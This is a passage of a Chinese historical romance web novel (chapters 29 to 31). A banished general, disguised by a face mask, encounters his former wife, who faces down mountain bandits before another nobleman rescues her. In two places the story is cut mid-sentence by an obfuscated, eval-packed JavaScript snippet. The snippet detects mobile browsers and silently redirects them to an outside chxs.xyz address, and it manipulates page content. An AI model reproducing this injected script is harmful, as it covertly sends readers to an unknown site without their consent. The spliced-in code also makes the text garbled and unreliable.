一股寒风吹来,谢羡风恍然回过了神,这才发现原来他的手掌方才受了烫伤,被炭石撩的皮肤都迅速鼓起了狰狞的血泡。 刘彰这时也察觉了这番动静,连忙道:“将军,我去找烫伤药!” 谢羡风却留在原地,迟迟没有了动作。 斯人已去,他空留这个红丝带,也只不过是提醒自己有多么的讽刺。 罢了。 刘彰找来了军医,谢羡风却没让他先看手伤,而是将那一条烧得模糊的红缎带塞进了他的怀里。 “把这个收好。” 刘彰一愣,隐约感到将军似乎有哪里变了。 从前对那一个完好精致的香囊,他却浑然不在意。纵使知道那香囊丢了,终也选择袖手旁观。 可如今,面对夫人忘记带走的这早已褪色、毫不起眼的缎带,他却亲自收藏了起来,不惜烫破了手也要将那缎带从火盆里捞出。 刘彰似乎意识到了什么,但终究没有多嘴,而是默默将那缎带收进怀里。 “……是。” 谢羡风隐忍着烫伤手臂的闷痛,转身大步而去。 “走吧,别耽搁了行程。” 前往边疆的路途遥远,车轿扬起飞尘,很快便在街路尽头消失不见。 29. 第二十九天 两年后。 明月高挂,夜半蝉鸣。 空旷的沙地上驻扎着军营的幄帐,在灯火的照耀之下,一个易容师正对着高挂的人面皮描眉画眼。 那副人皮面具蓄满了胡茬,旁边的学徒少年不由得伸手感慨道:“真是天衣无缝,师父的技术越来越好了。” 他的手刚要触到那皮上,便被易容师猛地拍了下来。 “这是为谢大人定制的皮套,可别碰坏了。” 学徒一个激灵,光是听到那人的名讳,都感觉不寒而栗。 “谢大人?是那位谢将军吗?” 那易容师拽过学徒的头,示意他压低声音:“不然你以为,咱们还有哪位谢大人?” 学徒顿时起了一身的鸡皮疙瘩。 两年前,一位唤作谢羡风的统将被发配到了这荆川来,起初人们还以为他不过是个被贬的失意将军,却不想,他来荆川做的第一件大事,便是一举肃清了日渐嚣张的境外势力。他的手段十分粗暴,竟是活擒了那叛贼首领,将其头颅拧下,堂而皇之地悬挂在了边境之处。自此,再无逆贼敢犯边境领土。 其实,谢羡风本就是这般暴虐强势之人。只是从前有着慕老将军坐镇,他顾及恩师的名声,行事还有所收敛。 如今,没了约束,他便愈发肆无忌惮,处事乖张、不考虑后果。 其实,也没什么后果可考虑的。 他素来总是孤身一人,没有家族的牵绊,也没有亲友伴侣的关心,而只是成日和那长枪乱剑作伴,脾性养得十分古怪。 他也不只过是回到了初入军营时的状态罢了。 若将谢羡风比作一匹野马,那么,还真不知有谁能做那一道套在他脖颈上的缰绳。 “可是我听说,谢大人以前不是这样的。他曾经也平易近人,还会和下属一同打马球,”那学徒小声地嘀咕着,“只是自从恩师和妻子先后离开他,他就好像变了一个人,性子也越来越孤僻……” 一听到“妻子”二字,那易容师的面色陡然间变了,连忙按住学徒的嘴。 “你说谁都好,可千万别在他面前提起那个女人——” 那个女人——自然指的是谢将军的前妻,慕氏。 据说,谢将军初来荆川时,曾有个不懂察言观色的县官,一味地想要奉承巴结,竟往谢将军的寝帐中送了一对貌美如花的娼女,还特地强调说:此女弹得一手民族琴乐,比那京城的慕氏女都还要动听。 结果,那县官当天晚上便没能走出军帐的大门。等到第二天天明,人已变得痴傻,嘴里还念叨着什么鬼怪的胡乱之语。那一对姐妹花更是被直接赶出了军营,至今不知下落如何,听说是被遣散回了老乡。 从那之后,便再也没有人敢用美色向谢将军投诚,而谢将军的前妻也成了心照不宣的雷池,众人皆不敢有半分的越界。 易容师正感叹着,营帐忽然被人从外撩开,一股凛冽的风吹散了屋内的闷热。 一个庞大的身影笼罩在了地面,屋内顿时变得鸦雀无声。 “我来验货。”一道声音冷冷地响起,“皮套呢?” 一回头,正是他们方才谈论的主角。 谢羡风站在门前,挡住了帐外的月色,他一袭军衣,面目冷峻,眉眼深邃,极具压迫感的目光落在屋内的众人身上,令人神经紧绷。 “自然备好了,自然都备好了,”那易容师连忙踹了学徒一脚,示意他去准备为谢羡风试戴面具,“猴崽子,还不快去拿东西来。” 学徒手忙脚乱地收拾起了工具,他依稀听说谢羡风这次大费周章地设计□□,便是为了破获一起事关重大的案子,耽误不得。 他一边提着易容工具走来,一边心中还暗暗担心,方才自己背后议论谢大人的家事,没被他听去了吧?要不然他可真是人头不保! 偏偏这时,从帘帐后突然冲出来一个嬉笑的小女孩,学徒一时没能抓住这小萝卜头,结果她竟鲁莽地将那描眉的眉粉给撞倒——眉粉撒了一地,也溅在了谢羡风的袖管之处,染下了好浓的一道污渍。 学徒吓得双腿发软,几乎跪在地上。 “对不起,谢大人对不起……我妹妹她不懂事,还请谢大人恕罪!” 那军衣由昂贵的鹿皮所制成的,就是把他发卖了也赔不起一星半点。传闻谢羡风脾气暴戾,不近女色,也不喜稚童,如此一来,他们兄妹俩绝对要遭大殃了。 就在学徒吓得起了一层虚汗之时,谢羡风却只是微皱起眉。继而,一弯腰,亲手将那摔在地上的小女孩扶了起来。 想象之中的责难没有到来。 他竟然什么也没有说。 最后,是易容师先开口,狠狠地掐了一把小女孩的脸:“这小丫头,笨手笨脚的,净会惹人生气!还不快同谢大人赔罪?” 那小女孩摔得灰头土脸,却也揉着红红的眼睛,奶声奶气地对谢羡风行了个礼。 “……对不起,谢大人。” 谢羡风坐在主位之上,望着面前跪在自己身前的一兄一妹二人,唯独伸手免了妹妹的礼。 他看向了那满脸天真无邪的小女孩,眼神加深,忽而幽声问她:“你多大了?” “回谢大人,囡囡已经两岁了。” “……是么。” 谢羡风的神色有些晦暗如深,一时恍神。 若她诞下了和他的孩子,恐怕那孩子如今也要长得这般大了吧。 说罢,他便不再过问,而是移过了身,静静地等着学徒将工具拿来。 易容师暗中推了一把学徒的手肘:“还不快去。” 学徒猛地回过了神,似乎很是不可思议,不知为何,那向来不好对付的谢大人竟然就这样放过他们了…… 原来,谢大人不喜欢孩童,但却好像唯独对孩提之年的小女格外的有耐心? …… 边疆之地苦寒无比,人烟稀少,环境艰苦。 原本,谢羡风只打算在荆川留一年,却转眼不知不觉地待了这么久。 反正他也犹如一片落叶,飘在哪里都是一样的。 这一次的任务,是破获一桩意外发现的军械走私案。 起初,他只是无意间抓到了一个在逃的走私犯。经过一番审问,竟查出他倒卖之物居然是宫中军械。谢羡风顿感此事非同小可、且涉及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516182|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颇多。凭着过往的经验,他第一时间便封锁了消息,暗中开展调查,想要钓出幕后的大鱼。 于是,在严刑逼供之下,那走私犯很快便吐出一则重要的情报:一周后他们与买方很快又会有一场交易,谈判地点就在白江。 白江。 谢羡风有一瞬的恍惚。 自从恩师亡故,他便再也没有回过那里。 不……应该说,自从他领旨被发落边疆,他便再没有离过荆川半步。 荆川地处偏远、情报逼仄,京中的消息很难传进来——这倒也恰好正中谢羡风的下怀。或许,这也是他会不知不觉在这里留上两年的原因。 或许,其实他内心也在抗拒着听到来自京城的消息……抗拒着知道关于某个人的下落。 如今,他终于要离开荆川,重游那个熟悉的故地。 谢羡风微蹙眉头,心中陡然升起一股异样的感觉。臆想的种子一旦生根发芽,便会犹如毒发一般蔓延。 很快,他又冷静下来,驱散了那些杂念。 他是去工作的,本就该心无旁骛。 更何况,白江那么大,距离京城足有千里之远。 他见不到她的。 对着铜镜,谢羡风戴上了那层人面皮。镜中之人俨然化作了一个沧桑的中年男子,满脸胡渣、眼皮松弛、皮肤黝黑——丝毫认不出他自己的影子。 谢羡风微微颔首,以示满意。 最后,他将银两扔在了桌上,在身后众人长舒一口气的喟叹之中,转身便离开了帐中。 *** 很快便到了交易的日子。 白江是商贾之都,每日都有许多庞大的商队来往。根据他审讯的结果,买主会伺机混入商队其中,最终与他们的线人在虎头崖会和,那里便是他们交易的地点。 白江背靠千山,这条山路是外来商队的必经之路。这日,恰逢山洪封了大路,将商队都赶去了山峡的盘山小道——这倒也更方便了谢羡风的观察。 谢羡风带了一支精锐的侍卫队,躲在了林间的掩体之中,这个视角可以很好地观察到虎头崖的景象。他打算视情况而决定是将那买主抓个正行;亦或是继续放长线、钓大鱼,暗中查出更大的幕后主使。 线人如约来到了虎头崖,很快,另一头便也有了动静。 盯点的侍卫报道:“有支很可疑的车队脱离了大部队,走了小路,正是那虎头崖的方向……” 谢羡风登时警觉起来,顺势点了刘彰与另外两个手下:“走,跟我下去。” 几人来到了更近的地方,看见那支车队果然在虎头崖停了下来。那车轿的样式看上去不像是商队的车马,更添了几分嫌疑。 谢羡风屏息以待,下一刻,便从车上下来了一对主仆。 那随侍的丫鬟扶着一抹人影下了轿,那人穿了一袭淡色的长袍,身形轻盈,倒像是……一个女人。 她头戴着斗笠,垂下的轻纱几乎将她的脸全然笼罩。 尽管如此,谢羡风还是几乎下意识地呼吸一滞。 他很快便认出了那个女人。 正是他阔别两年的前妻,慕溶月。 30. 第三十天 谢羡风一时间心头犹如虫蚁在啃噬般刺痛。 怎么可能是她。 难道他得到的情报有误? 不可能。他用刑的审讯从未失误过,从他手下出来的犯人,不会有胆量对他欺瞒。 或许,她只是跟随商队外出,无意间路过了此地…… 这个念头很快便被打散了。谢羡风知道,自己不过是在设法替她找借口开脱罢了。她这身装束、在这个时间出现在这个地方,若说她与此事全无关系、此番纯属巧合——那只不过是自欺欺人。 谢羡风就这样僵直在了原地,他第一次体会到大脑一片空白、做不了任何决定的感觉。 身旁,侍从们却还在催促着:“将军,要动手吗?” 此时出手,便能将人正好抓个现行——可谢羡风的薄唇微颤,最终竟什么也没说出口。 错过了最佳的时机,眼见着线人上前几步,与慕溶月凑近说了些什么,几人突然脸色一变,慕溶月更是扭头便回到了车轿里。 而那线人也踉跄地往回赶去,连头也不敢回。 “糟糕,他们发现不对了,”刘彰迅速起身,来不及等谢羡风的指令了,他拔剑便要下山,“快去追——” 可已经来不及了。 线人已经拔腿跑得无影无踪,而慕溶月的车轿也扬长而去。临行前,她身旁的丫鬟似是心虚一般回过头来看了一眼,却恰好在慌乱之中,和不远处的刘彰对上了视线。 刘彰也一眼认出了,那便是慕溶月的贴身丫鬟杏雨。他一时不敢相信,追赶的动作迟疑了下来,任凭着那车轿就这样走远。 …… 一直到身后的人影都消失不见,彻底将追兵甩开了,杏雨才放心地放下窗帐,回到了慕溶月身边。 她心有余悸地问:“小姐,方才那人是……” “是刘彰,错不了。”慕溶月,却迫使自己镇静下来,“只是……他身边那人,却不像是他。” 杏雨自然知道小姐口中的“他”指的是谁。 那位失散两年的前夫。 在那之后,她曾去四处打听过,只知道后来刘彰也跟随主君去了荆川。不过至今已经过去了两年,或许他在此期间被调岗了也未可知。 “小姐,现在怎么办?” 慕溶月沉声道,“冷静些。既然已经败露了,就设法先回去。” 杏雨原本还很慌张,但见慕溶月从容不迫的神色,她渐渐也有了几分安定感,遂点了点头。 车轿重新开始移动,夕阳西下,天色渐沉。慕溶月透过窗帐望向外面,心里涌起一股不安的感觉。但愿是她多虑了。 这条小路虽窄,前方却有三两车队在陆续开路,其中还有些运着商用的货物。这是出城的必经之路。 就在这时,外面突然响起了一阵嘈杂的声音。 “喂,你们两个,快给我下来!” 杏雨还来不及回话,车轿的门扇忽然被人猛地撞开,她慌忙之间将慕溶月护在身后,鼓起勇气呵斥道:“你们是何人?这是公主府的车轿,你们怎敢擅闯!” 慕溶月定睛一看,竟是一个粗壮的男人冲了进来,他脸上还挂着半边的刀疤,看上去分外狰狞。 “我管你是王是母的,快给老子滚下车来!” 说着,慕溶月就被扯住了手臂,强行带下了车。 “放手!你放开我们小姐……” 慕溶月踉跄地下了车,还来不及呼救,这才惊愕地发现,不知何时起,前方的车队都被流匪截停了。十几个无辜的平民从车上被抓了出来,此刻皆被绑在了一起,缠住手脚,塞满了口,呜呜咽咽地哭泣。 杏雨害怕地哆嗦起来,“小姐,不好了,咱们遇上山匪了……” 真是屋漏偏逢连夜雨。 慕溶月的心再次悬了起来。 山洪堵了路,正是山匪作案的好时机,她应该事先想到这一点的。 另一边,瞎了一只眼睛的粗犷男人提着弯刀,猛地踢了一脚那哭得凄厉的孩童,烦躁地怒骂道:“别哭了!哭哭哭,真是晦气!再哭把你这小比崽子的嘴给封起来!” 慕溶月还没来得及反应,便被猛地拖拽到了地上。 “都给我老实点!” 那刀疤男一脚踹翻了啼哭的小孩,这才发现她怀里竟紧紧地揣着一块玉佩,就藏在那衣衫的内侧,被破布裹得严严实实。 “你这藏着什么?”刀疤男猛地抢过了那玉佩,摸在手里一探,成色竟甚是不错,便是邪笑一声,“真是个鬼丫头,有这宝贝,竟然还敢藏起来!好险被你给漏掉了!” 那小女孩见状,吓得眼泪都出来了,连忙跪在地上求情,可她手脚都被绑着,只能靠磕头来试图引起山匪的同情,直到额头都是鲜血淋漓,模样好生凄惨。 “这是我母亲的遗物,大哥,求你们了,不要拿走我母亲的遗物……呜呜呜……” 慕溶月也被绑在了角落里,身旁就是瑟瑟发抖的杏雨。她此时已然冷静了下来,观察起了四周的环境。 不知是不是那些流匪见她衣束和马轿都华贵不菲、隐约猜到她身份非同小可的缘故,那些人竟不敢真的上前搜她的身,而是就这样将她绑了起来,更像是一种威慑。 短暂的思索后,慕溶月轻声叫住了杏雨,安抚她道:“杏雨,别怕,冷静一点。” 杏雨瑟缩地发起了抖。在这样极端的条件下,她已经吓软了双腿,而慕溶月却还能冷静自持地分析局面,她只能告诉自己要坚强起来,必不能拖了主子的后腿。 “一会我需要你配合我……能做到吗?” 杏雨生怯地点了头,却又反应过来:“小姐,你想做什么?” 话音未落,那刀疤脸是气愤得将弯刀朝地上的孩童甩去——“再哭,老子第一个拿你开刀祭天!” “住手!” 慕溶月骤然将嗓音抬高了几个音量,引得众人纷纷侧目而视。她则平稳语气,盯着刀疤脸定定道:“你放过她,我这儿有更好的宝贝,可以与你们交换那块玉佩!” 此举瞬间引起了几个彪形壮汉的注意,那刀疤男转过脸来,慕溶月则神色镇定地继续道。 “我的马轿里装有一个上了锁的箱箧,里面随便一样宝物,都足够你们余生吃喝无忧。” 那刀疤男毒辣的目光在慕溶月身上扫过,见她衣着谈吐都不凡,便知道她身份不简单。因而,也为她的话增添了不少信服力。 刀疤男哼了一声,不以为意:“什么破箱子,老子就不信了,直接砸开!” 慕溶月却目光炯炯地看向了他,语气不容置疑:“那是宫廷中的物样,是由宫中最高超的工匠打造的锁扣——就算你们砸上一夜,也都不会碰坏了一个角。” 这时,刀疤男的喽啰已经从慕溶月的马轿里翻出了那个所谓盛满了稀世珍宝的箱箧,“老大,果然有个箱子!” 说着,那喽啰将箱箧狠狠地往地上摔了几下,果真是纹丝不动。 慕溶月就在这时幽幽地补充道:“那锁不靠钥匙,是特制的机关锁。我可以直接帮你们打开那锁,但前提是,你们要把我的手松绑才行。” 刀疤男不说话了,现场一时陷入了沉默之中。 另一旁,杏雨紧紧盯着慕溶月,心头却是猛地揪了起来。 那箱箧上的锁,哪是什么宫里的匠人造出来的机关锁?那分明只是一把普通的铜锁。 小姐这是在虚张声势,诓骗那流匪呢!明白这一点后,杏雨屏住了呼吸,紧张得手心都冒出了一层冷汗,生怕露出什么破绽来,惹人怀疑。 所幸,最后,土匪头子思酌了一番,想到女人的行囊里也无非就是些胭脂水粉、锦衣华裳之类的物件,便放松了警惕,将慕溶月拎了起来,狠狠地往地上摔去。 “谅你也不敢耍什么花招!快开!” “若是敢搞什么小动作,小心老子刀剑无眼!” 慕溶月的手被解开,她悄悄打开了那铜锁,深吸一口气,拿出了里面一枚镶金的步摇。 那刀疤脸一眼便相中了这步摇,顿时被迷得眼睛都直了:“这钗子看上去倒是不错啊……” 就在他朝慕溶月靠近的间隙,电光火石间——慕溶月反手擒住了刀疤脸的肩颈,将步摇的锋利之处狠狠抵在了他最薄弱的脖颈之上! 霎时间,众人惊诧不已。周围有几个小贼意欲扑过来,慕溶月反应极快,将那步摇抵得更紧了几分:“都站住!别过来!” 她早就看出,这男人便是这些流匪的首领,擒贼要先擒王。 那刀疤脸却是满不在乎地破口大笑起来:“好你个小娘们,还真是胆大包天,竟敢挟持老子?你就凭这一个破钗子,也想放倒我?!你这娇嫩的小手,拿得稳这钗子吗?” 慕溶月神色镇定自若,却仿佛已然胸有成竹。 “这步摇虽小,锋利处却是涂上了一种世间无解的剧毒,只要人的血上沾了一点,很快便会全身麻痹、七窍流血而亡!你若不信——大可以试试。” 她的语气从容不迫,气定神闲的姿态,一时间,竟将那土匪头子也震慑了三分。 他开始后知后觉地挣扎起来,却是被慕溶月越逼越紧,直到那尖刺划破皮肤,差一点便沁出血珠来:“你……你是不是疯了!” 周围被绑住的平民都吓坏了,众人都想不到,一个手无寸铁的弱女子,竟有着这样过人的胆识,去蜉蝣撼树! 一旁的杏雨虽然也为慕溶月提心吊胆,但却不同于众人的错愕——她心中清楚万分,她家的小姐从来都不是旁人眼中那娇滴滴的花瓶,她本就是这般高山一般不容小觑、威风凛凛的女子! 接着,慕溶月又从怀中拿出了宋景渊的令牌,高示于众:“你们都给我听好了——你们若是想求钱财,只要配合我,我们大可以彼此相安无事,得偿所愿。” 说着,慕溶月又将步摇生生遏住那匪头的咽喉:“否则,我便叫你们人财两空!” 此时此刻,人群之中,很快便有人认出了那枚令牌。 “那是宋国公的令牌……” “莫非,这位英武的娘子正是长公主的嫡女——慕氏娘子吗!” “原来是慕娘子,太好了,我们有救了……” 人们一阵劫后余生的庆幸,不禁喜极而泣起来。慕溶月的出头,无异于为他们注入了一针定心剂。 而匪徒们方才嚣张的气焰,在得知慕溶月的真实身份过后,便被迅速地扑散了大半——众人默不作声,脸色登时犹如猪肝色一般。 慕溶月又厉声道,“这是条常用的商路,你们竟敢胆大妄为,拦路抢劫,那必定是不怕消息走漏出去。我相信,来营救我的人马很快就会赶到。若你们是为了我的赎金,那我承诺可以配合你们,直到你们如意拿到了钱财。”说着,她顿了顿,“当然,所有的前提都是——你们能够听从我的安排,不要轻举妄动。” “否则……”步摇的尖刺已然抵在了匪头的咽喉之处,“我不保证他能够从我的毒钗之下存活下来;自然也就不能保证,你们也能从很快便赶到地援军手里逃脱出来。” 她一双清眸闪着锐利的光,面上不动声色,从容自若,暗里却是悄然用力,用步摇将那匪头的喉头钳制住,半分破绽也不漏。 匪徒们自知碰上了硬茬,加之慕溶月的身份摆在那儿,瞬地也被她那番气势给威慑了三分。 “那……你想怎么样?” “你,去给我的丫鬟松绑。”慕溶月盯着其中一个匪贼,“还有这个孩子。” 那匪贼不敢轻举妄动,只好哆嗦地看向老大,刀疤脸则是一脸烦躁地扬了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529363|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬下颌:“……听她的,听她的!” 杏雨终于被松了绑,那小孩也得了空,连忙把玉佩重新拾起护在了怀里,激动地几乎哭出来:“谢谢你,夫人!” 慕溶月又指挥杏雨,两人一同将刀疤脸用麻绳绑紧。慕溶月一侧脸,见他身后的独眼男手里还拿着一柄弯刀,顿时严肃道:“给我。” “我,我……” 独眼男还在犹豫之时,慕溶月已然猛地抢过了他手上的刀。 刀疤脸粗鲁地啐了一声:“妈的,竟是低估你这个臭娘们了……” 慕溶月黑着脸,将弯刀抵在了他的头顶:“闭嘴。” 刀疤脸被那刀光晃了下,一时间脸色发白,自然不敢再多嘴了。 有了慕溶月主持大局,众人顿时就如同有了主心骨,终于镇定许多了。 可慕溶月却不敢有丝毫的分神,盯梢着刀疤脸,不敢错过他任何一丝鬼祟的小动作。只有她自己才知道,那钗头上根本就没有什么所谓的剧毒,一切只不过是夸大其词地唬人罢了。她可以暂时靠蒙蔽来拖延时间,可这些流匪都是亡命之徒,待他们琢磨过味儿来,便随时都可能伺机反扑。她若是失败了,必定护不住身后乌泱泱的一众平民。此时此刻,她身上担着这十多条人命,她不敢失手。 只能一面暗自祈祷援军尽快到来,一面在心底同时盘算起了更坏情况的下策。 陡然间—— 耳边闪过一道白光,慕溶月定睛一看,只见眼前的刀疤脸心口突然中了一支飞箭,他双目惊瞪,还不等反应过来,就已经喷出一口鲜血,一命呜呼。 “不好,中埋伏了!” 匪头被打掉后,这些流匪自然就犹如一盘散沙,吓得纷纷抱头鼠窜起来。 慕溶月错愕地回过头来,发现来者正是方才刘彰身边的那个陌生男人! 众人诧异之时,那男人又接连射出三箭,箭箭正中匪徒眉心。流匪们顿时不攻自破,如鸟兽狼狈逃窜起来。 一直到亲眼看到眼前的刀疤脸失去了呼吸,慕溶月才终于松下了戒备,一时脱力地瘫软在地。这时,才恍惚地惊觉,她早已是冷汗湿了一身。 总算是有惊无险,免去了一场腥风血雨。 “你还好么?” 慕溶月闻声抬起眼,见到方才为她解围的男人,此刻正站在了她的面前。 谢羡风一句看似漫不经心的问候,背后却是犹豫了很久,才最终决定上前,缓步停在了她跟前。 她反应很淡,只是微而颔首。从谢羡风的视角看去,她的长睫毛在双颊上投下浓密的阴影,让人心头一动,情不自禁想要伸手触碰过去——去抬起她的下颌,看那睫毛扑闪,引得那灵动的星眸转而落在自己身上,凝视着他,只准看向他一人。 下一刻,谢羡风渐渐地伸出手——却没有真的扭过慕溶月的脸,而是牵住她的手臂,将她从地上扶了起来。 两人手指相触的那一瞬间,一股灼烧感几乎刺痛了他。慕溶月站直了身子,神色处事不变。而谢羡风却心绪未定,盯着那方才触摸到她、空荡荡的手掌,神情恍惚。 那一刻,他忽然有几分庆幸自己此时戴了一副遮盖真面目的人面皮。 若不然,他真不知自己此刻会是什么表情。 而慕溶月却没有察觉到这平静气氛下的暗流涌动,她只是面不改色地吩咐道:“先救平民。” 谢羡风的神色有些微妙的变化。 原来,她没有认出他,而只是单纯把他当做是官府的人了。 其实也很正常,毕竟他派来的援军个个都穿着官服。 谢羡风沉默了,继而心头漾起一股沉坠的闷感。后来才发现这种感觉名为失落,随即又对自己这番潜意识的反应很是困惑。 两年的时间,慕溶月似乎变了许多。 她身上有着他解不开的谜题,面对危急之时,又是如此的方寸不乱,足以独当一面。 她的变化……让他惊讶。 谢羡风动了动唇,又是喑哑地开口:“……我会派人送你回去的。” 可慕溶月却并不领情,只是随口回道。 “不必了,我自有安排。” 甚至没有多看上他一眼。 见身前的男人许久都没有了反应,却还是紧跟在自己身旁,慕溶月不禁蹙起眉头,开口反问他:“还有事吗?” 谢羡风一时哑口无言。 在此之前,他从未设想过,和慕溶月重逢时的场景。或许,他总是本能地回避去思索这个话题。 如今,慕溶月却是以这般焕然一新的面目,猝不及防地闯进了他的世界——谢羡风这才发现,原来,阔别两年,这个始终被他讳莫如深的前妻,能在他心底掀起的波澜,远比他想象的还要汹涌。 谢羡风知道,此时不是与她相认的时机。 尤其是,她身上透出的一股陌生的距离感,让他难以靠近。 但他却又忍不住去猜想,如果她知道眼前的男人正是自己久别重逢的前夫,她会是什么反应?会是什么表情? 是高兴、惊喜,抑或是忧愁、恼怒? 谢羡风心绪复杂,正在不知如何开口作答之时—— “溶月!” 忽然,两人身后传来一道势如破竹的惊喝。慕溶月循声望去——宋景渊正策马朝她长驱而来,马蹄溅起泥沙飞扬。 杏雨欣喜地呼喊了起来,“宋国公,是宋国公大人,太好了,小姐!” 宋景渊。 再度听闻这个熟悉的名讳,谢羡风的表情崩了起来。他并没有回头去看来者是谁,而是将目光落在了慕溶月的脸上,想找寻任何一丝异样的痕迹。 那一霎,他却在她脸上见到了从未见过的,那最纯粹的……笑容。 “景渊,你来了。” 31. 第三十一天 谢羡风僵滞之时,宋景渊的马骑已然来到了慕溶月身旁,他倾身朝她伸出手——一用力,便将她抱到了自己的马上。一手扯着缰绳,一手则稳稳地揽住了她的腰。 “溶月,你有没有哪里受伤?” 慕溶月此时已经全然脱力,劫后余生的庆幸让她来不及思考,只有疲倦地倚靠在了宋景渊的肩头。 “还好……只是头有点晕。” 她轻阖上眼,浑然没有注意到,身后正有一道目光紧紧地注视在两人身上。 就连谢羡风自己也未曾察觉,他紧盯在慕溶月与宋景渊的身影重叠之处的目光,滚烫得都快要冒出火星来。 那个位置——曾是属于他的。 回忆起两年前,慕溶月还不善马术,连马鞍也坐不太稳。他有一次夜晚偶起雅兴带她骑马,也是这般将她抱在怀里,用双臂护着她。可纵使如此,她的动作仍然有些拘谨,会用手指勾着缰绳,来暗暗稳住重心。 他理解她的生涩,她本就不善马术,加上马骑颠簸,若是又被不熟悉的人圈着,动作自然会显出几分局促来。 谢羡风一时有些痛恨自己的好记性,居然连这样的小细节也记得一清二楚。 可眼前,慕溶月跨腿坐在摇晃的马鞍上,姿势早已轻车驾熟,甚至连坐在宋景渊怀里的动作,也自然流畅到看不出一丝的僵硬。 他想象不出,她是坐过多少次宋景渊的马骑,才会与他培养出这般的默契。 一想到这一点,谢羡风的心头就浮现起一股难以言喻的涩闷。 若不是他残存的理智记着自己此刻还有任务在身,他真想当着这两人的面揭开面具,再看一看慕溶月会是什么表情。 另一边,宋景渊也注意到了角落里这个沉默寡言的男人,他看着面生,却一直待在他们身边不走,像是有话想说。宋景渊便开口问慕溶月道:“这个人,你可认识?” 慕溶月一回眸,终于找到了她不适的根源在哪儿。 从方才起,她便感到有一股强烈的视线注视着她,几乎将她灼伤。 直到宋景渊提醒,她才意识到,那道视线是出自眼前的这个男人。 刚才她在虎头崖,正是这个男人跟在她身后,暗中观察着她的一举一动。 难道,他发现什么了? 慕溶月正想把这件事告诉宋景渊,结果没想到,对方还阴魂不散地留在她身后,一直没有离开。 宋景渊看出了慕溶月神色的异样,便又低声问:“怎么了?” 慕溶月摇了摇头,恰巧这时,旁边的平民也看见了不远处的宋景渊,纷纷欢呼簇拥而来。 “太好了,国公爷来了,是国公爷……” 一眨眼的功夫,谢羡风便隐匿在人群之中,匆匆离去了。 宋景渊见人已经彻底消失了,这才得空开口问她:“所以,刚才那个人是谁?” 慕溶月心事重重地回答:“大抵是官府的援兵吧。” 宋景渊看出了她的难言之隐,便道:“有什么事,回去再说。” 慕溶月点了点头。 其实,还有一件事……慕溶月不知该不该告诉他。 起初这男人主动来与她攀谈时,她暗自吓了一跳。 因为……实在是太像了。 两年过去,她本以为自己已经逐渐淡忘了那人的存在,可当那声音倏地在耳畔响起时,她仍然会下意识地感到惊诧。 但她很快又镇静下来,这世上人与人之间声音相像的十之八九,她不该多心,自乱阵脚。 这时,宋景渊带来的护卫队开始收拾残局。方才那个被救的孩童主动走上前来,眼含热泪地跪在了慕溶月跟前。 “慕夫人,您是我们的救星,若没有您,环儿早就命丧黄泉!夫人,谢谢您为环儿护住了母亲的遗物,还救了环儿一条性命……夫人的大恩大德,环儿将永远铭记于心!” 慕溶月正想宽慰她,“不必这样客气。”结果没想到,小女孩的话就像一石激起千层浪,霎时间,得到了其余人的一呼百应。 “那歹徒泯灭人性,方才若不是慕夫人,我们不知道要死多少条无辜的性命!” “慕夫人方才真是有勇有谋,是我们的大英雄!” “对,大英雄!慕夫人,谢谢你……” 慕溶月望着眼前的场景,唇边也终是染上了几分笑意。 宋景渊也在这时叹道,“虽然最终没找到想找的人……但只要你平安无事便好。” “听闻你遇上了山匪,我立即快马加鞭地赶来,不过……没想到你竟是凭一己之力镇住了场子,真是愈发让我刮目相看了。” 慕溶月失笑道:“你就别取笑我了。我哪里有什么真本事,不过是虚张声势罢了。” “你看看你身后的无辜百姓们,他们都在为你而额手相庆,是你牵制住了流匪,让他们免于更惨重的死伤。”宋景渊却不以为然,“你靠的不是虚张声势,而是你过人的胆识。溶月,你不愧是长公主最爱的独女。她也一定会为你今日的壮举,而骄傲。” 慕溶月莞尔一笑。 “好了,你放我下来吧,我已经恢复力气,可以自己走了。” 她意图挪下马,宋景渊却在这时手心收力,竟是猛地将她朝自己贴拢了几分。 慕溶月一时惊诧,宋景渊却凑近她耳畔,低声笑道:“不如再坐一会儿吧。你也不想被他们看出你的腿还在发软吧?” 那温热的吐息喷在慕溶月耳边,惹得她脸一红,竟是忘记了挣扎。 宋景渊就在这时含笑地收拢了缰绳,改道而去:“走吧,我们回家。” 与此同时,在无人注意到的另一个角落里,那紧紧落在两人身上的视线愈发灼烫——几乎快要到了失控的地步。 *** 放跑了走私犯的线人,这条得来不易的线索就这样断了。 一时间,众人都了无头绪。摇晃的车轿内,刘彰抬眼看向谢羡风:“将军,现在该怎么办?” 谢羡风阴沉着脸,眸底的阴霾不散。他沉默了好一会儿,才抬起头来,见到周围的将士个个都是面露疲态,倦怠不堪。 为了追查这条线,众人夜以继日、焚膏继晷,如今眼看着竹篮打水一场空,他们不由得显出了几分沮丧之意。 谢羡风也不想 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一幕幕往事的画面,最终渐渐褪色,而化作了最后一次见她时的场景。 宋景渊高坐在马鞍之上,将她揽在怀中; 她虽然嘴上推辞,却没有真的与他拉开距离。看得出来,他们彼此信任,互称对方的小名,溶月、景渊…… 她望着那个男人时嘴角的笑意……真是格外的刺眼。 让人莫名的心头躁郁。 谢羡风这时才迟迟地想起了许多方才被他不经意忽略的细节。 例如,她高举的是他的令牌。 